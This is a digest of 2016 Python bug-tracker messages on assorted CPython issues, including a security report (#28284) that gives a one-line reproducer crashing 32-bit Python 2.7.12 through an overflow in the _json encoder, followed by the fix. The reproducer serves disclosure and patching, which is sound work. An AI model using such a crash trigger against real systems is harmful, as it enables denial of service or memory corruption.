From: report at bugs.python.org (naught101)
Date: Tue, 27 Sep 2016 00:04:21 +0000
Subject: [issue27873] multiprocessing.pool.Pool.map should take more than one
 iterable
In-Reply-To: <1472253350.37.0.404019702525.issue27873@psf.upfronthosting.co.za>
Message-ID: <1474934661.43.0.0717653571404.issue27873@psf.upfronthosting.co.za>


naught101 added the comment:

It would be helpful if the docs at https://docs.python.org/3/library/multiprocessing.html#multiprocessing.pool.Pool.map and in `help(Pool.map)` mentioned starmap in a "see also" section at the bottom.

----------
nosy: +naught101

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27873>
_______________________________________

From report at bugs.python.org  Mon Sep 26 21:27:45 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 27 Sep 2016 01:27:45 +0000
Subject: [issue28282] find_library("c") defers to find_msvcrt()
Message-ID: <1474939665.29.0.913307125474.issue28282@psf.upfronthosting.co.za>


New submission from Martin Panter:

Issue 1793 added ctypes.util.find_msvcrt(), and special cases that map find_library("c") and "m" to the new function. However this contradicts the documentation <https://docs.python.org/3.5/library/ctypes.html#finding-shared-libraries>:

?On Windows, . . . a call like find_library("c") will fail and return None.?

I think the documentation needs updating or clarifying.

----------
assignee: docs at python
components: Documentation, Windows, ctypes
messages: 277479
nosy: docs at python, martin.panter, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: find_library("c") defers to find_msvcrt()
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28282>
_______________________________________

From report at bugs.python.org  Mon Sep 26 22:02:53 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 27 Sep 2016 02:02:53 +0000
Subject: [issue28276] test_loading.py - false positive result for "def
 test_find" when find_library() is not functional or the (shared) library does
 not exist
In-Reply-To: <1474887883.6.0.275550575314.issue28276@psf.upfronthosting.co.za>
Message-ID: <1474941773.98.0.694616005934.issue28276@psf.upfronthosting.co.za>


Martin Panter added the comment:

The purpose of the test seems to be to check that finding and loading works for widely-available libraries. However I suspect find_library("c") can fail on other platforms as well. Presumably that is why there is the special case for Cygwin at the top of the file.

Open SSL is also widely available, but not universal. I think it is even possible to build Python without SSL support, and the tests should not fail in this case.

Perhaps it would be okay to remove "m" and just run the test on find_library("c"). If so, we can adjust the test to call self.skipTest("C library not found"), which will warn that the test could not be run.

----------
components: +Tests
nosy: +martin.panter
versions:  -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28276>
_______________________________________

From report at bugs.python.org  Mon Sep 26 23:38:23 2016
From: report at bugs.python.org (Bert JW Regeer)
Date: Tue, 27 Sep 2016 03:38:23 +0000
Subject: [issue27308] Inconsistency in cgi.FieldStorage() causes unicode/byte
 TypeError.
In-Reply-To: <1465843531.5.0.166620691183.issue27308@psf.upfronthosting.co.za>
Message-ID: <1474947503.28.0.759180450543.issue27308@psf.upfronthosting.co.za>


Bert JW Regeer added the comment:

This is not a duplicate of https://bugs.python.org/issue24764

----------
nosy: +X-Istence

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27308>
_______________________________________

From report at bugs.python.org  Mon Sep 26 23:40:02 2016
From: report at bugs.python.org (Bert JW Regeer)
Date: Tue, 27 Sep 2016 03:40:02 +0000
Subject: [issue27777] cgi.FieldStorage can't parse simple body with
 Content-Length and no Content-Disposition
In-Reply-To: <1471355745.98.0.805545529346.issue27777@psf.upfronthosting.co.za>
Message-ID: <1474947602.79.0.570413647775.issue27777@psf.upfronthosting.co.za>


Bert JW Regeer added the comment:

On line #890 in self.make_file() the check for _binary_file should be changed to also check for self.length >= 0.

https://github.com/python/cpython/blob/3.4/Lib/cgi.py#L890

becomes:

if self._binary_file or self.length >= 0:

_binary_file is only ever set if there is a content disposition, which there is not in the test case provided. In the case of no content disposition we can use the content-length as a hint that we have a file that has been uploaded. All files uploaded should be treated as binary if they are not a text type.

This is a duplicate of #27308, however the patch in that report is incorrect IMHO.

----------
nosy: +X-Istence, haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27777>
_______________________________________

From report at bugs.python.org  Mon Sep 26 23:40:39 2016
From: report at bugs.python.org (Bert JW Regeer)
Date: Tue, 27 Sep 2016 03:40:39 +0000
Subject: [issue27777] cgi.FieldStorage can't parse simple body with
 Content-Length and no Content-Disposition
In-Reply-To: <1471355745.98.0.805545529346.issue27777@psf.upfronthosting.co.za>
Message-ID: <1474947639.76.0.543172703401.issue27777@psf.upfronthosting.co.za>


Changes by Bert JW Regeer <bertjw at regeer.org>:


----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27777>
_______________________________________

From report at bugs.python.org  Mon Sep 26 23:44:39 2016
From: report at bugs.python.org (Bert JW Regeer)
Date: Tue, 27 Sep 2016 03:44:39 +0000
Subject: [issue27777] cgi.FieldStorage can't parse simple body with
 Content-Length and no Content-Disposition
In-Reply-To: <1471355745.98.0.805545529346.issue27777@psf.upfronthosting.co.za>
Message-ID: <1474947879.4.0.504663503129.issue27777@psf.upfronthosting.co.za>


Bert JW Regeer added the comment:

Updated versions this applies to.

----------
versions: +Python 3.3, Python 3.4, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27777>
_______________________________________

From report at bugs.python.org  Tue Sep 27 00:07:16 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 27 Sep 2016 04:07:16 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474949236.3.0.70877354848.issue28253@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Patch LGTM. 

> I would rather not mess up with itermonthdates(), particularly in a bugfix release.  We can postpone the discussion of a better way to handle date over/underflow in itermonthdates() until 3.7.

Before finally find a better way, can we at least make the two extreme cases behaviours consistent? Both emitting an exception or a shorter list.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 00:46:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 27 Sep 2016 04:46:34 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <20160927044631.14585.29089.4E279DE9@psf.io>


Roundup Robot added the comment:

New changeset 39a4be5e003d by Raymond Hettinger in branch '3.6':
Issue #18844: Make the number of selections a keyword-only argument for random.choices().
https://hg.python.org/cpython/rev/39a4be5e003d

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Tue Sep 27 00:56:07 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 27 Sep 2016 04:56:07 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <1474952167.72.0.771872806262.issue18844@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Equidistributed examples:
    
    choices(c.execute('SELECT name FROM Employees').fetchall(), k=20)
    choices(['hearts', 'diamonds', 'spades', 'clubs'], k=5)
    choices(list(product(card_facevalues, suits)), k=5)

Weighted selection examples:

  Counter(choices(['red', 'black', 'green'], [18, 18, 2], k=3800))   # american roulette
  Counter(choices(['hit', 'miss'], [5, 1], k=600))                   # russian roulette
  choices(fetch('employees'), fetch('years_of_service'), k=100)      # tenure weighted
  choices(cohort, map(cancer_risk, map(risk_factors, cohort)), k=50) # risk weighted

Star unpacking example:

   transpose = lambda s: zip(*s)
   craps = [(2, 1), (3, 2), (4, 3), (5, 4), (6, 5), (7, 6), (8, 5), (9, 4), (10, 3), (11, 2), (12, 1)]
   print(choices(*transpose(craps), k=10))

Comparative APIs from other languages:

    http://www.mathworks.com/help/stats/randsample.html
    http://docs.scipy.org/doc/numpy/reference/generated/numpy.random.choice.html
    https://stat.ethz.ch/R-manual/R-devel/library/base/html/sample.html
    https://reference.wolfram.com/language/ref/RandomChoice.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Tue Sep 27 01:01:51 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 27 Sep 2016 05:01:51 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <1474952511.0.0.750174936794.issue18844@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

###################################################################
# Flipping a biased coin

from collections import Counter
from random import choices

print(Counter(choices(range(2), [0.9, 0.1], k=1000)))

###################################################################
# Bootstrapping

'From a small statistical sample infer a 90% confidence interval for the mean'
# http://statistics.about.com/od/Applications/a/Example-Of-Bootstrapping.htm

from statistics import mean
from random import choices

data = 1, 2, 4, 4, 10
means = sorted(mean(choices(data, k=5)) for i in range(20))
print('The sample mean of {:.1f} has a 90% confidence interval from {:.1f} to {:.1f}'.format(
  mean(data), means[1], means[-2]))

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Tue Sep 27 01:09:04 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 27 Sep 2016 05:09:04 +0000
Subject: [issue28207] Use pkg-config to find dependencies
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474952944.36.0.604044187336.issue28207@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Yes pkg-config is not ubiquitous. My idea is using it as a fallback, so that non-standard paths can be picked up easily.

> Note the bootstrap issue with that idea though; you'll need to make sure _posixsubprocess is built before importing subprocess.

distutils.spawn.spawn or os.system can be used. setup.py uses the latter.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Tue Sep 27 01:09:19 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 05:09:19 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474952959.69.0.350689189058.issue28253@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The patch LGTM except tests.

But we should at least document the behavior of itermonthdates(), monthdatescalendar() and yeardatescalendar() at corner cases.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 01:25:51 2016
From: report at bugs.python.org (Kubilay Kocak)
Date: Tue, 27 Sep 2016 05:25:51 +0000
Subject: [issue28207] Use pkg-config to find dependencies
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474953951.88.0.346081865746.issue28207@psf.upfronthosting.co.za>


Kubilay Kocak added the comment:

This (adding support for pkg-config) should be done in tandem with adding --with-foo-{include,library} arguments for each *external* dependency, which can be used for: libffi, readline, libintl, openssl, sqlite, db*, among others.

Values obtained from pkg-config should then use the same variables, but only if they are/have not been specified at the command line (./configure).

Doing this and a few other best-practice, standard autoconf things will enable us to drastically simplify and remove hacks in the Python configure.ac, Makefile and setup.py's long term.

----------
nosy: +koobs

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Tue Sep 27 01:37:59 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 27 Sep 2016 05:37:59 +0000
Subject: [issue26439] ctypes.util.find_library fails when ldconfig/glibc not
 available (e.g., AIX)
In-Reply-To: <1456413023.18.0.874865601403.issue26439@psf.upfronthosting.co.za>
Message-ID: <20160927053756.24791.2022.E416AFD1@psf.io>


Roundup Robot added the comment:

New changeset 01885f78b299 by Martin Panter in branch '2.7':
Issue #26439: Document that RTLD_NOW is always added
https://hg.python.org/cpython/rev/01885f78b299

New changeset 0db4403e62c4 by Martin Panter in branch '3.5':
Issue #26439: Document that RTLD_NOW is always added
https://hg.python.org/cpython/rev/0db4403e62c4

New changeset 4b7e51998a90 by Martin Panter in branch '3.6':
Issue #26439: Merge ctypes doc from 3.5 into 3.6
https://hg.python.org/cpython/rev/4b7e51998a90

New changeset f496fb6bf4a0 by Martin Panter in branch 'default':
Issue #26439: Merge ctypes doc from 3.6
https://hg.python.org/cpython/rev/f496fb6bf4a0

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26439>
_______________________________________

From report at bugs.python.org  Tue Sep 27 02:34:24 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 27 Sep 2016 06:34:24 +0000
Subject: [issue28283] test_sock_connect_sock_write_race() of
 test.test_asyncio.test_selector_events fails randomly on FreeBSD
Message-ID: <1474958064.43.0.517604300062.issue28283@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The issue #28176 introduced a new unit test which fails randomly on FreeBSD buildbots. Recent example:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.x%20Shared%203.x/builds/5162/steps/test/logs/stdio

======================================================================
ERROR: test_sock_connect_sock_write_race (test.test_asyncio.test_selector_events.SelectorLoopFunctionalTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/test/test_asyncio/test_selector_events.py", line 1868, in test_sock_connect_sock_write_race
    timeout=TIMEOUT))
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/asyncio/base_events.py", line 457, in run_until_complete
    return future.result()
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/asyncio/futures.py", line 292, in result
    raise self._exception
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/asyncio/tasks.py", line 239, in _step
    result = coro.send(None)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd10/build/Lib/asyncio/tasks.py", line 397, in wait_for
    raise futures.TimeoutError()
concurrent.futures._base.TimeoutError

----------
components: Tests, asyncio
keywords: buildbot
messages: 277492
nosy: gvanrossum, haypo, koobs, yselivanov
priority: normal
severity: normal
status: open
title: test_sock_connect_sock_write_race() of test.test_asyncio.test_selector_events fails randomly on FreeBSD
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28283>
_______________________________________

From report at bugs.python.org  Tue Sep 27 02:47:58 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 27 Sep 2016 06:47:58 +0000
Subject: [issue28283] test_sock_connect_sock_write_race() of
 test.test_asyncio.test_selector_events fails randomly on FreeBSD
In-Reply-To: <1474958064.43.0.517604300062.issue28283@psf.upfronthosting.co.za>
Message-ID: <1474958878.87.0.883569166215.issue28283@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Yury: Since you pushed the change adding the test, can you please take a look?

If nobody fixes the unit test, I will revert the change.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28283>
_______________________________________

From report at bugs.python.org  Tue Sep 27 02:54:57 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 27 Sep 2016 06:54:57 +0000
Subject: [issue28284] Memory corruption due to size expansion (overflow) in
 _json.encode_basestring_ascii on 32 bit Python 2.7.12
Message-ID: <1474959297.9.0.357040711075.issue28284@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

Guido Vranken reports:

This results in a segmentation fault on 32 bit:

python -c "import _json; print
_json.encode_basestring_ascii(unicode(chr(0x22)) * 0x2AAAAAAB)"


This is a tentative patch:

diff --git a/Modules/_json.c b/Modules/_json.c
index fede6b1..022bbc8 100644
--- a/Modules/_json.c
+++ b/Modules/_json.c
@@ -212,7 +212,16 @@ ascii_escape_unicode(PyObject *pystr)

     /* One char input can be up to 6 chars output, estimate 4 of these */
     output_size = 2 + (MIN_EXPANSION * 4) + input_chars;
-    max_output_size = 2 + (input_chars * MAX_EXPANSION);
+    if (input_chars > (PY_SSIZE_T_MAX / MAX_EXPANSION) ) {
+        PyErr_SetString(PyExc_ValueError, "Size of escaped string
exceeds upper boundary");
+        return NULL;
+    }
+    max_output_size = (input_chars * MAX_EXPANSION);
+    if ( max_output_size > (PY_SSIZE_T_MAX - 2)) {
+        PyErr_SetString(PyExc_ValueError, "Size of escaped string
exceeds upper boundary");
+        return NULL;
+    }
+    max_output_size += 2;
     rval = PyString_FromStringAndSize(NULL, output_size);
     if (rval == NULL) {
         return NULL;


But you still have to take account these things:

            /* This is an upper bound */
            if (new_output_size > max_output_size) {
                new_output_size = max_output_size;
            }

If this code within the if{} is reached then it merely truncates the
amount of memory that is actually required, thereby creating another
opportunity for overwrites?

And this:

            Py_ssize_t new_output_size = output_size * 2;

might overflow, but since output_size is always positive (ie. in the
range [0..PY_SSIZE_T_MAX]), an overflow would result in a negative
value. That would subsequently be caught in _PyString_Resize():

int
_PyString_Resize(PyObject **pv, Py_ssize_t newsize)
{
    register PyObject *v;
    register PyStringObject *sv;
    v = *pv;
    if (!PyString_Check(v) || Py_REFCNT(v) != 1 || newsize < 0 ||
        PyString_CHECK_INTERNED(v)) {
        *pv = 0;
        Py_DECREF(v);
        PyErr_BadInternalCall();
        return -1;
    }

Nonetheless an overflow from positive to negative is undesirable (it's
undefined behaviour).

----------
messages: 277494
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: Memory corruption due to size expansion (overflow) in _json.encode_basestring_ascii on 32 bit Python 2.7.12
type: security
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28284>
_______________________________________

From report at bugs.python.org  Tue Sep 27 02:55:49 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 27 Sep 2016 06:55:49 +0000
Subject: [issue28284] Memory corruption due to size expansion (overflow) in
 _json.encode_basestring_ascii on 32 bit Python 2.7.12
In-Reply-To: <1474959297.9.0.357040711075.issue28284@psf.upfronthosting.co.za>
Message-ID: <20160927065546.13280.34238.FBD0FC21@psf.io>


Roundup Robot added the comment:

New changeset 9375c8834448 by Benjamin Peterson in branch '2.7':
be extremely careful about overflows in encode_basestring_ascii (closes #28284)
https://hg.python.org/cpython/rev/9375c8834448

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28284>
_______________________________________

From report at bugs.python.org  Tue Sep 27 03:01:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 27 Sep 2016 07:01:39 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1474959699.62.0.113107373331.issue27322@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Any update on the issue?

http://buildbot.python.org/all/builders/x86%20Gentoo%20Installed%20with%20X%203.x is still failing.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Tue Sep 27 03:02:48 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 27 Sep 2016 07:02:48 +0000
Subject: [issue28207] Use pkg-config to find dependencies
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474959768.66.0.386516592705.issue28207@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Thanks Kubilay I got it.

Note to myself: gdb uses lots --with-foo-{include,lib}.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Tue Sep 27 03:07:58 2016
From: report at bugs.python.org (Kubilay Kocak)
Date: Tue, 27 Sep 2016 07:07:58 +0000
Subject: [issue27838] test_os.test_chown() random failure on "AMD64 FreeBSD
 CURRENT Debug 3.x" buildbot
In-Reply-To: <1471959658.26.0.0626423066304.issue27838@psf.upfronthosting.co.za>
Message-ID: <1474960078.95.0.728276018713.issue27838@psf.upfronthosting.co.za>


Kubilay Kocak added the comment:

This started failing once again on koobs-freebsd-current:

======================================================================
ERROR: test_chown (test.test_os.ChownFileTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_os.py", line 1168, in test_chown
    os.chown(support.TESTFN, uid, gid_1)
PermissionError: [Errno 1] Operation not permitted: '@test_15221_tmp'

Looking into this a bit further:

buildbot defaults (via twisted) to a umask of 077 for the build worker build/ directory, resulting in build directories with permissions as follows:

drwx------   3 buildbot  buildbot         4 May 17 12:36 2.7.koobs-freebsd-current
drwx------   3 buildbot  buildbot         4 Aug 21 11:28 2.7.koobs-freebsd-current.nondebug

Looking inside these directories to where TESTFN's (I think) are written, we find:

[root at CURRENT-amd64:/usr/home/buildbot/python/2.7.koobs-freebsd-current/build/build] ls -la
total 18
drwx------   8 buildbot  buildbot   8 Sep 27 17:03 .
drwx------  19 buildbot  buildbot  45 Sep 27 16:59 ..
drwx------   2 buildbot  buildbot  68 Sep 27 16:59 lib.freebsd-12.0-CURRENT-amd64-2.7-pydebug
drwx------   2 buildbot  buildbot   6 Sep 27 16:59 scripts-2.7
drwx------   4 buildbot  buildbot   4 Sep 27 16:59 temp.freebsd-12.0-CURRENT-amd64-2.7-pydebug
drwx------   2 buildbot  buildbot   2 Sep 27 16:59 test_python_45339
drwx------   2 buildbot  buildbot   2 Sep 27 17:03 test_python_46278
drwx------   2 buildbot  buildbot   2 Sep 27 17:03 test_python_47336

Does this explain the "Operation not permitted" error above?

If so, the question is, why/how is this test being run if it requires an environment within which two groups can read and/or write files?

Again looking at group membership for the buildbot user on the worker host in question (koobs-freebsd-current), the user only has a single group:

# groups buildbot
buildbot

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27838>
_______________________________________

From report at bugs.python.org  Tue Sep 27 03:26:43 2016
From: report at bugs.python.org (Chris Angelico)
Date: Tue, 27 Sep 2016 07:26:43 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1474961203.31.0.290405002165.issue27322@psf.upfronthosting.co.za>


Chris Angelico added the comment:

I'm not sure. The patch got backed out with little explanation, so presumably it broke something somewhere, but I don't know what.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Tue Sep 27 03:33:43 2016
From: report at bugs.python.org (Jaysinh shukla)
Date: Tue, 27 Sep 2016 07:33:43 +0000
Subject: [issue28115] Use argparse for the zipfile module
In-Reply-To: <1473750423.74.0.95052105427.issue28115@psf.upfronthosting.co.za>
Message-ID: <1474961623.22.0.291103790427.issue28115@psf.upfronthosting.co.za>


Jaysinh shukla added the comment:

@SilentGhost I have mad few comments on your patch. Please contact me on any confusions. Looking forward to you. Thanks!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28115>
_______________________________________

From report at bugs.python.org  Tue Sep 27 03:35:06 2016
From: report at bugs.python.org (INADA Naoki)
Date: Tue, 27 Sep 2016 07:35:06 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474961706.67.0.436693361599.issue28183@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Serhiy, may I update your patch, if you're busy in this week?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Tue Sep 27 03:40:12 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 07:40:12 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474962012.98.0.250117818574.issue28183@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Feel free to do this. I'm not such busy, I'm experimenting with other variants.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Tue Sep 27 03:45:47 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 07:45:47 +0000
Subject: [issue28115] Use argparse for the zipfile module
In-Reply-To: <1473750423.74.0.95052105427.issue28115@psf.upfronthosting.co.za>
Message-ID: <1474962347.9.0.169994709349.issue28115@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28115>
_______________________________________

From report at bugs.python.org  Tue Sep 27 04:14:01 2016
From: report at bugs.python.org (=?utf-8?q?Walter_D=C3=B6rwald?=)
Date: Tue, 27 Sep 2016 08:14:01 +0000
Subject: [issue28281] Remove year limits from calendar
In-Reply-To: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>
Message-ID: <1474964041.72.0.944837973544.issue28281@psf.upfronthosting.co.za>


Walter D?rwald added the comment:

I don't think that's necessary. What's the use case for this?

And if we want to to this, wouldn't it be better to enhance datetime, so that this use case is supported too?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Tue Sep 27 04:19:02 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 08:19:02 +0000
Subject: [issue24098] Multiple use after frees in obj2ast_* methods
In-Reply-To: <1430489429.65.0.587999729774.issue24098@psf.upfronthosting.co.za>
Message-ID: <1474964342.41.0.243113596514.issue24098@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Bad things happen not only when a list shrinks, but also when it grows during iteration.

The one solution is to check if the size is changed on every iteration. The other solution is to convert a list to a tuple for iterating.

----------
versions: +Python 2.7 -Python 3.4
Added file: http://bugs.python.org/file44838/issue24098-check-size.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24098>
_______________________________________

From report at bugs.python.org  Tue Sep 27 04:19:21 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 08:19:21 +0000
Subject: [issue24098] Multiple use after frees in obj2ast_* methods
In-Reply-To: <1430489429.65.0.587999729774.issue24098@psf.upfronthosting.co.za>
Message-ID: <1474964361.28.0.880853562217.issue24098@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


Added file: http://bugs.python.org/file44839/issue24098-iterate-tuple.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24098>
_______________________________________

From report at bugs.python.org  Tue Sep 27 04:25:27 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 08:25:27 +0000
Subject: [issue20100] epoll docs are not clear with regards to CLOEXEC.
In-Reply-To: <1388505494.08.0.643576998185.issue20100@psf.upfronthosting.co.za>
Message-ID: <1474964727.04.0.873960760453.issue20100@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Old code looked strange after issue18571:

        flags |= EPOLL_CLOEXEC;
        if (flags)
            self->epfd = epoll_create1(flags);
        else

The condition is always true unless EPOLL_CLOEXEC is 0.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20100>
_______________________________________

From report at bugs.python.org  Tue Sep 27 04:38:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 27 Sep 2016 08:38:23 +0000
Subject: [issue27703] Replace two Py_XDECREFs with Py_DECREFs in do_raise
In-Reply-To: <1470574317.03.0.634036537179.issue27703@psf.upfronthosting.co.za>
Message-ID: <20160927083820.4749.64343.F7C1AB52@psf.io>


Roundup Robot added the comment:

New changeset 9e59cb403efa by Serhiy Storchaka in branch 'default':
Issue #27703: Got rid of unnecessary NULL checks in do_raise() in release mode.
https://hg.python.org/cpython/rev/9e59cb403efa

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27703>
_______________________________________

From report at bugs.python.org  Tue Sep 27 04:39:00 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 08:39:00 +0000
Subject: [issue27703] Replace two Py_XDECREFs with Py_DECREFs in do_raise
In-Reply-To: <1470574317.03.0.634036537179.issue27703@psf.upfronthosting.co.za>
Message-ID: <1474965540.61.0.970873254765.issue27703@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27703>
_______________________________________

From report at bugs.python.org  Tue Sep 27 04:50:12 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 27 Sep 2016 08:50:12 +0000
Subject: [issue20100] epoll docs are not clear with regards to CLOEXEC.
In-Reply-To: <1474964727.04.0.873960760453.issue20100@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZCS=fufApAqZuMHOyksyNV4Hb_fgE_Aw1zOe2B+U=iyg@mail.gmail.com>


STINNER Victor added the comment:

> Old code looked strange after issue18571:

epoll_create() is a deprecated. epoll_create(size): "Since Linux
2.6.8, the size argument is ignored, but must be  greater  than  zero"
according to the man page. So it's fine to always call
epoll_create1(flags).

Example of new potential new flag for epoll_create1(): ten years ago,
EPOLL_NONBLOCK was proposed:
https://lkml.org/lkml/2008/8/24/130
(but it seems like it doesn't make sense, since the syscall cannot block)

Recent epoll evolutions don't seem to be on epoll_create1():
